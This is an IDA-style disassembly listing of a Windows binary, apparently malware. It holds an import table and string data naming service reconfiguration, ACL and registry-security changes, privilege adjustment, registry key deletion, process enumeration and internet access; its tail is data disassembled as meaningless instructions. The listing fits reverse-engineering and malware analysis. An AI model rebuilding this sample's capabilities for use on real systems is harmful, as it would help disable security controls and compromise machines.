		extrn calloc:dword	; CODE XREF: sub_9A9C7E+41p
					; DATA XREF: sub_9A9C7E+41r
; int __cdecl memcmp(const void	*Buf1,const void *Buf2,size_t Size)
		extrn __imp_memcmp:dword ; DATA	XREF: memcmpr
; char *__cdecl	strcat(char *Dest,const	char *Source)
		extrn __imp_strcat:dword ; DATA	XREF: strcatr
; __int32 __cdecl labs(__int32 X)
		extrn __imp_labs:dword	; DATA XREF: labsr
		extrn __imp_sin:dword	; DATA XREF: sinr
		extrn __imp_log:dword	; DATA XREF: logr
; char *__cdecl	strtok(char *Str,const char *Delim)
		extrn strtok:dword	; CODE XREF: sub_9A82C5+64p
					; sub_9A82C5+6Fp ...
; int __cdecl atoi(const char *Str)
		extrn atoi:dword	; CODE XREF: sub_9A82C5+7Fp
					; sub_9A82C5+D7p
					; DATA XREF: ...
; wchar_t *__cdecl wcscpy(wchar_t *Dest,const wchar_t *Source)
		extrn wcscpy:dword	; CODE XREF: sub_9A7641+1BDp
					; sub_9A7641+2D2p ...
; wchar_t *__cdecl wcscat(wchar_t *Dest,const wchar_t *Source)
		extrn wcscat:dword	; CODE XREF: sub_9A7641+2EEp
					; sub_9A7B42+8Bp ...
; wchar_t *__cdecl wcsdup(const	wchar_t	*Str)
		extrn _wcsdup:dword	; CODE XREF: sub_9A7374+1E3p
					; sub_9A7374+2ADp
					; DATA XREF: ...
; void *__cdecl	malloc(size_t Size)
		extrn malloc:dword	; CODE XREF: sub_9A6D9F+2Ep
					; _CRT_INIT(x,x,x)+2Ep
					; DATA XREF: ...
; void __cdecl free(void *Memory)
		extrn free:dword	; CODE XREF: sub_9A6D9F+50p
					; sub_9A6E36+3Ap ...
; void *__cdecl	memcpy(void *Dst,const void *Src,size_t	Size)
		extrn __imp_memcpy:dword ; DATA	XREF: memcpyr
; void *__cdecl	memset(void *Dst,int Val,size_t	Size)
		extrn __imp_memset:dword ; DATA	XREF: memsetr
; wchar_t *__cdecl wcsstr(const	wchar_t	*Str,const wchar_t *SubStr)
		extrn wcsstr:dword	; CODE XREF: sub_9A52A3+25p
					; DATA XREF: sub_9A52A3+25r
; int snwprintf(wchar_t	*Dest,size_t Count,const wchar_t *Format,...)
		extrn _snwprintf:dword	; CODE XREF: sub_9A5033+9Dp
					; sub_9A6F7B+6Bp ...
; int __cdecl wcsncmp(const wchar_t *Str1,const	wchar_t	*Str2,size_t MaxCount)
		extrn wcsncmp:dword	; CODE XREF: sub_9A4E45+C1p
					; DATA XREF: sub_9A4E45+C1r
; wchar_t *__cdecl wcsncpy(wchar_t *Dest,const wchar_t *Source,size_t Count)
		extrn wcsncpy:dword	; CODE XREF: sub_9A4358+BCp
					; sub_9A471B+164p
					; DATA XREF: ...
; int __cdecl wcsnicmp(const wchar_t *Str1,const wchar_t *Str2,size_t MaxCount)
		extrn _wcsnicmp:dword	; CODE XREF: sub_9A4358+291p
					; DATA XREF: sub_9A4358+291r
; wchar_t *__cdecl wcsncat(wchar_t *Dest,const wchar_t *Source,size_t Count)
		extrn wcsncat:dword	; CODE XREF: sub_9A4207+43p
					; sub_9A4358+D6p ...
; size_t __cdecl wcslen(const wchar_t *Str)
		extrn wcslen:dword	; CODE XREF: sub_9A4157+17p
					; sub_9A4157+29p ...
; int __cdecl wcsicmp(const wchar_t *Str1,const	wchar_t	*Str2)
		extrn _wcsicmp:dword	; CODE XREF: sub_9A4157+31p
					; sub_9A7641+310p
					; DATA XREF: ...
; char *__cdecl	strlwr(char *Str)
		extrn _strlwr:dword	; CODE XREF: sub_9A4074+64p
					; DATA XREF: sub_9A4074+64r
; char *__cdecl	strstr(const char *Str,const char *SubStr)
		extrn strstr:dword	; CODE XREF: sub_9A4074+8Ep
					; DATA XREF: sub_9A4074+8Er
; int __cdecl strnicmp(const char *Str1,const char *Str,size_t MaxCount)
		extrn _strnicmp:dword	; CODE XREF: sub_9A3FB6+5Cp
					; sub_9A82C5+A9p
					; DATA XREF: ...
; void __cdecl srand(unsigned int Seed)
		extrn srand:dword	; CODE XREF: sub_9A3715+2Bp
					; sub_9A394B+2Dp ...
; int __cdecl rand()
		extrn rand:dword	; CODE XREF: sub_9A3715+31p
					; sub_9A387C+4Dp ...
; int snprintf(char *Dest,size_t Count,const char *Format,...)
		extrn _snprintf:dword	; CODE XREF: sub_9A3715+68p
					; sub_9A3C63+CFp ...
; char *__cdecl	strrchr(const char *Str,int Ch)
		extrn strrchr:dword	; CODE XREF: sub_9A3620+37p
					; sub_9A3FB6+Cp
					; DATA XREF: ...
; char *__cdecl	strncpy(char *Dest,const char *Source,size_t Count)
		extrn strncpy:dword	; CODE XREF: sub_9A3620+54p
					; sub_9A3715+13Dp
					; DATA XREF: ...
; size_t __cdecl strlen(const char *Str)
		extrn __imp_strlen:dword ; DATA	XREF: strlenr
; int __cdecl stricmp(const char *Str1,const char *Str2)
		extrn _stricmp:dword	; CODE XREF: sub_9A3620+81p
					; StartAddress+65p ...
; char *__cdecl	strncat(char *Dest,const char *Source,size_t Count)
		extrn strncat:dword	; CODE XREF: sub_9A3620+92p
					; sub_9A387C+61p
					; DATA XREF: ...

;
; Imports from oleaut32.dll
;
; void __stdcall VariantInit(VARIANTARG	*pvarg)
		extrn VariantInit:dword	; CODE XREF: sub_9A49B2+5Cp
					; sub_9A4E45+6Dp
					; DATA XREF: ...
; void __stdcall SysFreeString(BSTR bstrString)
		extrn SysFreeString:dword ; CODE XREF: sub_9A4D36+E8p
					; sub_9A4E45+108p
					; DATA XREF: ...
; UINT __stdcall SysStringLen(BSTR)
		extrn SysStringLen:dword ; CODE	XREF: sub_9A4D36+B3p
					; DATA XREF: sub_9A4D36+B3r
; BSTR __stdcall SysAllocString(const OLECHAR *psz)
		extrn SysAllocString:dword ; CODE XREF:	sub_9A4D36+AAp
					; DATA XREF: sub_9A4D36+AAr
; HRESULT __stdcall VariantClear(VARIANTARG *pvarg)
		extrn VariantClear:dword ; CODE	XREF: sub_9A49B2+195p
					; sub_9A4E45+11Bp
					; DATA XREF: ...

;
; Imports from shell32.dll
;
; BOOL __stdcall SHGetSpecialFolderPathA(HWND hwnd,LPSTR pszPath,int csidl,BOOL	fCreate)
		extrn SHGetSpecialFolderPathA:dword ; CODE XREF: sub_9A387C+4Ap
					; sub_9A387C+84p
					; DATA XREF: ...

;
; Imports from shlwapi.dll
;
; LSTATUS __stdcall SHDeleteValueA(HKEY	hkey,LPCSTR pszSubKey,LPCSTR pszValue)
		extrn SHDeleteValueA:dword ; CODE XREF:	sub_9A394B+68p
					; sub_9A394B+74p ...
; LPWSTR __stdcall StrStrIW(LPCWSTR lpFirst,LPCWSTR lpSrch)
		extrn StrStrIW:dword	; CODE XREF: sub_9A66EF+95p
					; DATA XREF: sub_9A66EF+95r
; LPSTR	__stdcall StrStrIA(LPCSTR lpFirst,LPCSTR lpSrch)
		extrn StrStrIA:dword	; CODE XREF: sub_9A3C63+165p
					; sub_9A3C63+1EBp ...
; LSTATUS __stdcall SHDeleteKeyW(HKEY hkey,LPCWSTR pszSubKey)
		extrn SHDeleteKeyW:dword ; CODE	XREF: sub_9A4207+6Dp
					; sub_9A7156+1Ap
					; DATA XREF: ...

;
; Imports from user32.dll
;
; BOOL __stdcall EnumThreadWindows(DWORD dwThreadId,WNDENUMPROC	lpfn,LPARAM lParam)
		extrn EnumThreadWindows:dword ;	CODE XREF: sub_9A4977+1Ep
					; DATA XREF: sub_9A4977+1Er
; HWND __stdcall GetDlgItem(HWND hDlg,int nIDDlgItem)
		extrn GetDlgItem:dword	; CODE XREF: fn+6p
					; DATA XREF: fn+6r
; BOOL __stdcall PostMessageA(HWND hWnd,UINT Msg,WPARAM	wParam,LPARAM lParam)
		extrn PostMessageA:dword ; CODE	XREF: fn+1Ap
					; DATA XREF: fn+1Ar

;
; Imports from wininet.dll
;
; BOOL __stdcall InternetGetConnectedState(LPDWORD lpdwFlags,DWORD dwReserved)
		extrn InternetGetConnectedState:dword ;	CODE XREF: StartAddress+128p
					; sub_9A60D7+51p ...
; HINTERNET __stdcall InternetOpenA(LPCSTR lpszAgent,DWORD dwAccessType,LPCSTR lpszProxy,LPCSTR	lpszProxyBypass,DWORD dwFlags)
		extrn InternetOpenA:dword ; CODE XREF: sub_9A60D7+9Dp
					; sub_9A81B2+70p
					; DATA XREF: ...
; HINTERNET __stdcall InternetOpenUrlA(HINTERNET hInternet,LPCSTR lpszUrl,LPCSTR lpszHeaders,DWORD dwHeadersLength,DWORD dwFlags,DWORD dwContext)
		extrn InternetOpenUrlA:dword ; CODE XREF: sub_9A60D7+C3p
					; sub_9A81B2+87p
					; DATA XREF: ...
; BOOL __stdcall HttpQueryInfoA(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex)
		extrn HttpQueryInfoA:dword ; CODE XREF:	sub_9A60D7+F9p
					; sub_9A81B2+B5p ...
; BOOL __stdcall InternetReadFile(HINTERNET hFile,LPVOID lpBuffer,DWORD	dwNumberOfBytesToRead,LPDWORD lpdwNumberOfBytesRead)
		extrn InternetReadFile:dword ; CODE XREF: sub_9A60D7:loc_9A626Ep
					; DATA XREF: sub_9A60D7+11Cr
; BOOL __stdcall InternetCloseHandle(HINTERNET hInternet)
		extrn InternetCloseHandle:dword	; CODE XREF: sub_9A60D7+1A5p
					; sub_9A60D7+1AEp ...

;
; Imports from ws2_32.dll
;
; struct hostent *__stdcall gethostbyname(const	char *name)
		extrn gethostbyname:dword ; CODE XREF: sub_9A857A+191p
					; DATA XREF: sub_9A857A+191r
; char *__stdcall inet_ntoa(struct in_addr in)
		extrn inet_ntoa:dword	; CODE XREF: sub_9A857A+23Ep
					; DATA XREF: sub_9A857A+23Er
; int __stdcall	WSAStartup(WORD	wVersionRequested,LPWSADATA lpWSAData)
		extrn WSAStartup:dword	; CODE XREF: StartAddress+ADp
					; DATA XREF: StartAddress+ADr
; u_long __stdcall ntohl(u_long	netlong)
		extrn ntohl:dword	; CODE XREF: sub_9A4033+15p
					; DATA XREF: sub_9A4033+15r

;
; Imports from ole32.dll
;
; HRESULT __stdcall CoInitializeEx(LPVOID pvReserved,DWORD dwCoInit)
		extrn CoInitializeEx:dword ; CODE XREF:	sub_9A4B7B+11p
					; sub_9A4C0F+14p
					; DATA XREF: ...
; HRESULT __stdcall CoCreateInstance(const IID *const rclsid,LPUNKNOWN pUnkOuter,DWORD dwClsContext,const IID *const riid,LPVOID *ppv)
		extrn CoCreateInstance:dword ; CODE XREF: sub_9A4B7B+4Ep
					; sub_9A4C0F+39p ...
; void __stdcall CoUninitialize()
		extrn CoUninitialize:dword ; CODE XREF:	sub_9A4B7B+84p
					; DATA XREF: sub_9A4B7B+84r ...
; HRESULT __stdcall CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc,LONG cAuthSvc,SOLE_AUTHENTICATION_SERVICE *asAuthSvc,void *pReserved1,DWORD dwAuthnLevel,DWORD dwImpLevel,void *pAuthList,DWORD dwCapabilities,void *pReserved3)
		extrn CoInitializeSecurity:dword ; CODE	XREF: sub_9A4B7B+31p
					; DATA XREF: sub_9A4B7B+31r

;
; Imports from urlmon.dll
;
; HRESULT __stdcall ObtainUserAgentString(DWORD	dwOption,LPSTR pszUAOut,DWORD *cbSize)
		extrn __imp_ObtainUserAgentString:dword	; DATA XREF: ObtainUserAgentStringr


; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 9A130Ch
		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
		dd 1716h
; char Str2[]
Str2		db '('                  ; DATA XREF: sub_9A3620+6Do
		db 17h,	2 dup(0)
		dd 1736h
; char asc_9A1318[]
asc_9A1318	db 'H'                  ; DATA XREF: StartAddress+51o
					; sub_9A682F+4Do
		db 17h,	2 dup(0)
		dd 175Eh
; char aT[]
aT		db 't'                  ; DATA XREF: sub_9A36CC:loc_9A36F1o
					; sub_9A3C63+225o
		db 17h,	2 dup(0)
		dd 178Ch, 17A4h, 17B8h
; const	WCHAR Srch
Srch		dd 17D0h, 17E0h, 17F4h,	180Ah, 1816h, 1836h, 1852h, 1862h
					; DATA XREF: sub_9A36CC+2o
		dd 1872h, 1888h, 18A4h,	18B8h
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		align 4
dword_9A1364	dd 18D6h, 18EEh, 1906h,	1916h, 1928h, 1940h, 1952h, 1962h
					; DATA XREF: .text:009B802Co
		dd 1976h, 1984h, 1996h,	19A6h, 19BCh, 19D2h, 19E8h, 19FEh
dword_9A13A4	dd 1A10h, 4D206569h, 1A36h, 1A42h ; DATA XREF: .text:Sourceo
; char pszSubKey[]
pszSubKey	db 'P'                  ; DATA XREF: sub_9A394B+5Do
					; sub_9A39CF+4Fo
		db 1Ah,	2 dup(0)
		dd 1A60h, 1A76h, 1A7Eh,	1A8Ch, 1A9Ch, 1AA8h, 1AB6h, 1AC4h
		dd 1AD4h, 1AE2h, 1AF2h
; wchar_t dword_9A13E4
dword_9A13E4	dd 1B00h, 1B12h, 1B22h,	1B32h, 1B46h ; DATA XREF: sub_9A394B+18o
					; sub_9A7E0F+15Bo
; const	WCHAR dword_9A13F8
dword_9A13F8	dd 1B5Ch, 1B78h, 1B86h,	1B98h, 1BB4h, 1BC0h, 1BCEh, 1BDCh
					; DATA XREF: sub_9A39CF+6Bo
		dd 1BEAh, 1C00h, 1C1Ch,	1C2Ah, 1C40h, 1C52h, 1C66h, 1C7Ch
		dd 1C8Ch, 1CA2h, 1CB2h,	1CC2h, 1CD2h, 1CE0h
; const	WCHAR dword_9A1450
dword_9A1450	dd 1CF4h, 1D06h, 1D1Ah,	1D2Eh, 1D3Ch, 1D4Ch, 1D5Eh, 1D6Eh
					; DATA XREF: sub_9A39CF+60o
		dd 1D82h, 1D9Ah, 1DAAh,	1DC4h, 1DD8h, 1DE6h, 1DFCh, 1E0Ah
		dd 1E16h, 1E26h, 1E3Ah,	1E48h, 1E58h, 1E68h, 1E76h, 1E84h
		dd 1E9Ah, 1EB0h, 1EC2h,	1ED6h, 1EECh, 1EFEh, 1F0Ah, 1F1Ah
		dd 1F2Eh, 1F3Ch, 1F54h,	1F64h, 1F7Eh, 1F8Ah, 1FA0h, 1FB0h
		dd 39002Dh, 1FCCh, 1FDCh, 1FE8h, 1FF2h,	1FFCh, 2006h, 200Eh
		dd 2014h, 201Ah, 2024h,	202Ch, 2036h, 2040h, 204Ah
dword_9A152C	dd 2054h, 205Ch, 2066h,	2070h, 207Ah ; DATA XREF: sub_9A39CF+48o
dword_9A1540	dd 2088h, 2092h		; DATA XREF: sub_9A39CF+3Co
dword_9A1548	dd 209Ch, 20A8h		; DATA XREF: sub_9A39CF+30o
		dd 20B2h, 20BCh		; DATA XREF: sub_9A39CF+24o
		dd 20C8h, 20D2h, 20DCh	; DATA XREF: sub_9A39CF+18o
dword_9A1564	dd 20E8h, 20F0h, 20F8h	; DATA XREF: sub_9A39CF+Co
; const	CHAR dword_9A1570
dword_9A1570	dd 2104h, 210Eh		; DATA XREF: sub_9A39CF+2o
dword_9A1578	dd 2118h, 2122h, 212Eh,	63697672h, 2146h ; DATA	XREF: sub_9A3C63:loc_9A3E5Bo
dword_9A158C	dd 2154h, 2164h, 2174h	; DATA XREF: sub_9A3C63+1E3o
; char aJ[]
aJ		db '!',0               ; DATA XREF: sub_9A3C63+1D5o
					; sub_9A3C63+211o
		align 4
aOst_v		db 'ost.!',0
		align 4
; char aServ[]
aServ		db 'serv!',0           ; DATA XREF: sub_9A3C63+1B5o
					; sub_9A5C35:loc_9A5C38o
		align 4
		db '!',0
		align 10h
aC		db '!',0
		align 4
dword_9A15B4	dd 21F2h, 32336C6Ch, 220Eh, 2222h ; DATA XREF: sub_9A3C63+147o
; char a0[]
a0		db '0"',0               ; DATA XREF: sub_9A3C63+F6o
		align 4
aAlL		db 'al\%L"',0
		align 10h
		db 'h"',0
		align 4
; char Format[]
Format		db 'x"',0               ; DATA XREF: sub_9A3C63+C1o
		align 4
aM		db '"',0
		align 4
aU		db '"',0
		align 10h
; char Name[]
Name		db '"',0               ; DATA XREF: sub_9A3C63+3Eo
		align 4
aBugp		db 'bugP"',0
		align 4
aF		db '"',0
		align 10h
		dd 22F0h, 22FEh
dword_9A15F8	dd 806B000h		; DATA XREF: sub_9A4033:loc_9A4050r
dword_9A15FC	dd 2310h		; DATA XREF: sub_9A4033+25r
		dd 2322h, 2336h, 2348h,	0C2417BFh, 236Ch, 0C2A2BC7h, 130Ch
		dd 2 dup(0)
		dd 1708h, 1000h, 13ACh,	2 dup(0)
		dd 1A28h, 10A0h, 14F4h,	2 dup(0)
		dd 1FC0h, 11E8h, 1588h,	2 dup(0)
		dd 2138h, 127Ch, 15A0h,	2 dup(0)
		dd 2196h, 1294h, 15A8h,	2 dup(0)
		dd 21BCh, 129Ch, 15BCh,	2 dup(0)
		dd 2202h, 12B0h, 15CCh,	2 dup(0)
		dd 2240h, 12C0h, 15E8h,	2 dup(0)
		dd 22C8h, 12DCh, 15FCh,	2 dup(0)
		dd 2306h, 12F0h, 1610h,	2 dup(0)
		dd 2360h, 1304h, 5 dup(0)
		db  61h	; a
		db 64h,	76h, 61h
		db  70h	; p
		db 69h,	33h, 32h
		db  2Eh	; .
		db 64h,	2 dup(6Ch)
		db    0
		db 57h,	2 dup(0)
aRegcreatekey_0	db 'RegCreateKeyExW',0
		db    0
		align 2
aRegflushkey	db 'RegFlushKey',0
		align 4
aOpenscmanagerw	db 'OpenSCManagerW',0
a?		db '?',0
		align 2
aEnumservicesst	db 'EnumServicesStatusW',0
		align 10h
aQueryserviceco	db 'QueryServiceConfigW',0
		db    0
		align 2
aQueryservice_0	db 'QueryServiceConfig2W',0
a?_0		db '?',0
		align 2
aGetnamedsecuri	db 'GetNamedSecurityInfoW',0
		db    0
		align 2
aSetentriesinac	db 'SetEntriesInAclW',0
a?_1		db '?',0
		align 2
aSetnamedsecuri	db 'SetNamedSecurityInfoW',0
		db    0
		align 2
aRegenumkeyexw	db 'RegEnumKeyExW',0
		db    0
		align 2
aRegsetkeysecur	db 'RegSetKeySecurity',0
		db    0
		align 2
aGettokeninform	db 'GetTokenInformation',0
		align 4
aEqualsid	db 'EqualSid',0
		db ']',0
		align 4
aInitializesecu	db 'InitializeSecurityDescriptor',0
aQ		db 'Q',0
		align 4
aAllocateandini	db 'AllocateAndInitializeSid',0
		db '}',0
		align 4
aGetlengthsid	db 'GetLengthSid',0
aM_0		db '',0
		align 4
aInitializeacl	db 'InitializeAcl',0
		align 4
aAddaccessallow	db 'AddAccessAllowedAce',0
		db    0
		align 2
aSetsecuritydes	db 'SetSecurityDescriptorDacl',0
		dd 65530000h, 6C694674h, 63655365h, 74697275h, 41004179h
		dd 72460000h, 69536565h, 64h, 6E65704Fh, 636F7250h, 54737365h
		dd 6E656B6Fh, 0D200h
aLookupprivileg	db 'LookupPrivilegeValueA',0
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0
		align 4
aOpenservicea	db 'OpenServiceA',0
		db 15h,	2 dup(0)
aControlservice	db 'ControlService',0
aA		db 'A',0
		align 2
aChangeservicec	db 'ChangeServiceConfigA',0
aA_0		db 'A',0
		align 2
aRegsetvalueexw	db 'RegSetValueExW',0
aU_0		db 'U',0
		align 4
aRegopenkeyexw	db 'RegOpenKeyExW',0
		align 4
aRegqueryvalu_0	db 'RegQueryValueExW',0
		db '',0
		align 4
aRegclosekey_0	db 'RegCloseKey',0
		dd 704F0000h, 43536E65h, 616E614Dh, 41726567h, 8C00h, 6E65704Fh
		dd 76726553h, 57656369h, 5500h
aCloseserviceha	db 'CloseServiceHandle',0
aB		db 'B',0
		align 2
aQueryservicest	db 'QueryServiceStatus',0
		db '',0
		align 4
aQueryservice_1	db 'QueryServiceConfigA',0
		db    0
		align 2
aCryptrelease_0	db 'CryptReleaseContext',0
		align 10h
aCryptgenrand_0	db 'CryptGenRandom',0
aC_0		db 'C',0
		align 2
aCryptacquire_0	db 'CryptAcquireContextA',0
aCkernel32_dll	db 'Ckernel32.dll',0
		db 2Bh,	5Eh, 2
aMovefilea	db 'MoveFileA',0
aV		db '',0
aDeletefilea_0	db 'DeleteFileA',0
		db 0C9h	; 
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		db 43h
		db 0B7h	; 
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 33Fh
aSleep		db 'Sleep',0
a2		db '2',0
aClosehandle_0	db 'CloseHandle',0
aM_1		db 'm',0
aCreatethread_0	db 'CreateThread',0
		db 44h
		dd 6F4C0253h, 69466B63h, 4400656Ch, 6547015Ch, 6C694674h
		dd 7A695365h, 500065h, 61657243h, 69466574h, 41656Ch, 6547016Bh
		dd 636F4C74h, 69546C61h, 4400656Dh, 654701DBh, 72655674h
		dd 6E6F6973h, 3013000h,	45746553h, 726F7272h, 65646F4Dh
		dd 0B77E00h, 74697845h,	636F7250h, 737365h, 6547010Ah
		dd 6D6F4374h, 646E616Dh, 656E694Ch, 1690041h, 4C746547h
		dd 45747361h, 726F7272h, 5DD000h, 61657243h, 754D6574h
		dd 41786574h, 10E0000h,	43746547h, 75706D6Fh, 4E726574h
		dd 41656D61h, 13D8B00h
aGetcurrentproc	db 'GetCurrentProcessId',0
aK		db '',0
aDisablethreadl	db 'DisableThreadLibraryCalls',0
		db  5Fh	; _
		db 2, 4Dh, 6Fh
aVefileexa	db 'veFileExA',0
		dw 285h
aProcess32first	db 'Process32First',0
aJp		db 'Jp',0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0
		db 4Ah
		dd 655202A4h, 69466461h, 4A00656Ch, 72430053h, 65746165h
		dd 656C6946h, 2600057h,	65766F4Dh, 656C6946h, 577845h
		dd 65440083h, 6574656Ch, 656C6946h, 37F0057h
aWidechartomult	db 'WideCharToMultiByte',0
		db '',0
aExpandenvironm	db 'ExpandEnvironmentStringsW',0
; ---------------------------------------------------------------------------
		jmp	short loc_9A1C1F
; ---------------------------------------------------------------------------
		inc	edi


loc_9A1C1F:				; CODE XREF: .text:009A1C1Cj
		insb
		outsd
		bound	esp, [ecx+6Ch]
		inc	ecx
		insb
		insb
		outsd
		arpl	[eax], ax
		add	cl, gs:[ebp+75h]
		insb
		jz	short loc_9A1C9A
		inc	edx
		jns	short loc_9A1CA8
		db	65h
		push	esp
		outsd
		push	edi
		imul	esp, [ebp+43h],	726168h
		dec	eax
		add	edx, [ebp+72h]
		insd
		imul	ebp, [esi+61h],	68546574h
		jb	short near ptr loc_9A1CB3+1
		popa
		add	fs:[ecx+eax+47h], dl
		db	65h
		jz	short near ptr loc_9A1C9C+1
		js	short loc_9A1CC3
		jz	short loc_9A1C9F
		outsd
		db	64h, 65h
		push	esp
		push	64616572h
		add	[edi], bh
		add	[edi+65h], eax
		jz	short loc_9A1CAF
		jnz	short loc_9A1CE0
		jb	short loc_9A1CD5
		outsb
		jz	short near ptr loc_9A1CC6+1
		push	64616572h
		dec	ecx
		add	fs:[ebx+654701DCh], al
		jz	short near ptr loc_9A1CD7+1
		db	65h
		jb	short near ptr loc_9A1CF7+1
		imul	ebp, [edi+6Eh],	417845h
		jnp	short near ptr loc_9A1C90+1
		push	edi
		popa


loc_9A1C90:				; CODE XREF: .text:009A1C8Cj
		imul	esi, [esi+eax*2+6Fh], 6E695372h
		ins	byte ptr es:[di], dx


loc_9A1C9A:				; CODE XREF: .text:009A1C2Fj
		db	65h
		dec	edi


loc_9A1C9C:				; CODE XREF: .text:009A1C55j
		bound	ebp, [edx+65h]


loc_9A1C9F:				; CODE XREF: .text:009A1C5Aj
		arpl	[eax+eax-41h], si
		add	dl, [ebx+65h]
		jz	short near ptr loc_9A1CF3+1


loc_9A1CA8:				; CODE XREF: .text:009A1C32j
		popa
		jnb	short near ptr loc_9A1D1E+1
		inc	ebp
		jb	short loc_9A1D20
		outsd


loc_9A1CAF:				; CODE XREF: .text:009A1C6Aj
		jb	short $+2
		icebp
		pop	esp


loc_9A1CB3:				; CODE XREF: .text:009A1C4Dj
		add	cl, [ebp+6Fh]
		db	64h
		jnz	short loc_9A1D25
		xor	esi, gs:[edx]
		dec	esi
		db	65h
		js	short loc_9A1D34
		add	ch, bh
		pop	edx


loc_9A1CC3:				; CODE XREF: .text:009A1C58j
		add	cl, [ebp+6Fh]


loc_9A1CC6:				; CODE XREF: .text:009A1C71j
		db	64h
		jnz	short near ptr loc_9A1D34+1
		xor	esi, gs:[edx]
		inc	esi
		imul	esi, [edx+73h],	0B80074h
		inc	ebp


loc_9A1CD5:				; CODE XREF: .text:009A1C6Ej
		js	short near ptr loc_9A1D3F+1


loc_9A1CD7:				; CODE XREF: .text:009A1C80j
		jz	short near ptr loc_9A1D2C+1
		push	64616572h
		add	al, al


loc_9A1CE0:				; CODE XREF: .text:009A1C6Cj
		add	edx, cs:[ebx+65h]
		jz	short loc_9A1D3A
		push	64616572h
		push	eax
		jb	short near ptr loc_9A1D56+1
		outsd
		jb	short loc_9A1D5A
		jz	short loc_9A1D6C


loc_9A1CF3:				; CODE XREF: .text:009A1CA6j
		add	[ecx+3], dh
		push	esi


loc_9A1CF7:				; CODE XREF: .text:009A1C82j
		imul	esi, [edx+74h],	506C6175h
		jb	short near ptr loc_9A1D6C+3
		jz	short near ptr loc_9A1D65+2
		arpl	[eax+eax+3Fh], si
		into
		add	[edi+65h], eax
		jz	short near ptr loc_9A1D5F+1
		push	64616572h
		push	eax
		jb	short near ptr loc_9A1D7C+1
		outsd
		jb	short loc_9A1D80
		jz	short near ptr loc_9A1D91+1
		add	[esi], bh
		add	[edi+65h], eax


loc_9A1D1E:				; CODE XREF: .text:009A1CA9j
		jz	short loc_9A1D63


loc_9A1D20:				; CODE XREF: .text:009A1CACj
		jnz	short loc_9A1D94
		jb	short loc_9A1D89
		outsb


loc_9A1D25:				; CODE XREF: .text:009A1CB6j
		jz	short loc_9A1D7B
		push	64616572h


loc_9A1D2C:				; CODE XREF: .text:loc_9A1CD7j
		add	[ecx+6956036Eh], cl
		jb	short near ptr loc_9A1DA7+1


loc_9A1D34:				; CODE XREF: .text:009A1CBDj
					; .text:loc_9A1CC6j
		jnz	short loc_9A1D97
		insb
		inc	esi
		jb	short near ptr loc_9A1D9E+1


loc_9A1D3A:				; CODE XREF: .text:009A1CE4j
		add	gs:[ebx+3], ch
		push	esi


loc_9A1D3F:				; CODE XREF: .text:loc_9A1CD5j
		imul	esi, [edx+74h],	416C6175h
		insb
		insb
		outsd
		arpl	[eax], ax
		mov	dword ptr [eax+74654701h], 636F7250h
		inc	ecx


loc_9A1D56:				; CODE XREF: .text:009A1CECj
		db	64h, 64h
		jb	short near ptr loc_9A1DBE+1


loc_9A1D5A:				; CODE XREF: .text:009A1CEFj
		jnb	short loc_9A1DCF
		add	[edx+42h], bh


loc_9A1D5F:				; CODE XREF: .text:009A1D0Aj
		add	cl, [edi+ebp*2+61h]


loc_9A1D63:				; CODE XREF: .text:loc_9A1D1Ej
		db	64h
		dec	esp


loc_9A1D65:				; CODE XREF: .text:009A1D00j
		imul	esp, [edx+72h],	41797261h


loc_9A1D6C:				; CODE XREF: .text:009A1CF1j
					; .text:009A1CFEj
		add	[ebp+65470176h], bl
		jz	short near ptr loc_9A1DC0+1
		outsd
		db	64h
		jnz	short near ptr loc_9A1DDE+6
		db	65h
		dec	eax
		popa


loc_9A1D7B:				; CODE XREF: .text:loc_9A1D25j
		outsb


loc_9A1D7C:				; CODE XREF: .text:009A1D12j
		db	64h
		insb
		db	65h
		inc	ecx


loc_9A1D80:				; CODE XREF: .text:009A1D15j
		add	[edi+654701DEh], bh
		jz	short loc_9A1DDE
		outsd


loc_9A1D89:				; CODE XREF: .text:009A1D22j
		insb
		jnz	short near ptr loc_9A1DF7+2
		db	65h
		dec	ecx
		outsb
		outsw


loc_9A1D91:				; CODE XREF: .text:009A1D17j
		jb	short loc_9A1E00
		popa


loc_9A1D94:				; CODE XREF: .text:loc_9A1D20j
		jz	short near ptr loc_9A1DFD+2
		outsd


loc_9A1D97:				; CODE XREF: .text:loc_9A1D34j
		outsb
		inc	ecx
		add	dl, dl
		add	[edi+65h], eax


loc_9A1D9E:				; CODE XREF: .text:009A1D38j
		jz	short loc_9A1DF4
		imul	esp, [ebx+6Bh],	6E756F43h


loc_9A1DA7:				; CODE XREF: .text:009A1D32j
		jz	short $+2
		mov	bl, 92h
		add	dl, [ecx+75h]
		db	65h
		jb	short near ptr loc_9A1E29+1
		push	eax
		db	65h
		jb	short near ptr loc_9A1E1A+1
		outsd
		jb	short near ptr loc_9A1E21+4
		popa
		outsb
		arpl	[ebp+43h], sp
		outsd


loc_9A1DBE:				; CODE XREF: .text:loc_9A1D56j
		jnz	short near ptr loc_9A1E2C+2


loc_9A1DC0:				; CODE XREF: .text:009A1D72j
		jz	short near ptr loc_9A1E21+6
		jb	short $+2
		cmp	al, 1
		inc	edi
		db	65h
		jz	short loc_9A1E0D
		jnz	short near ptr loc_9A1E3D+1
		jb	short loc_9A1E33
		outsb


loc_9A1DCF:				; CODE XREF: .text:loc_9A1D5Aj
		jz	short loc_9A1E21
		jb	short near ptr loc_9A1E41+1
		arpl	[ebp+73h], sp
		jnb	short $+2
		or	eax, [ebx]
		push	ebx
		db	65h
		jz	short near ptr loc_9A1E21+3


loc_9A1DDE:				; CODE XREF: .text:009A1D86j
					; .text:009A1D75j
		imul	ebp, [ebp+54h],	656D69h
		push	edi
		add	[edi+65h], eax
		jz	short near ptr loc_9A1E2C+6
		imul	ebp, [ebp+41h],	69727474h


loc_9A1DF4:				; CODE XREF: .text:loc_9A1D9Ej
		bound	esi, [ebp+74h]


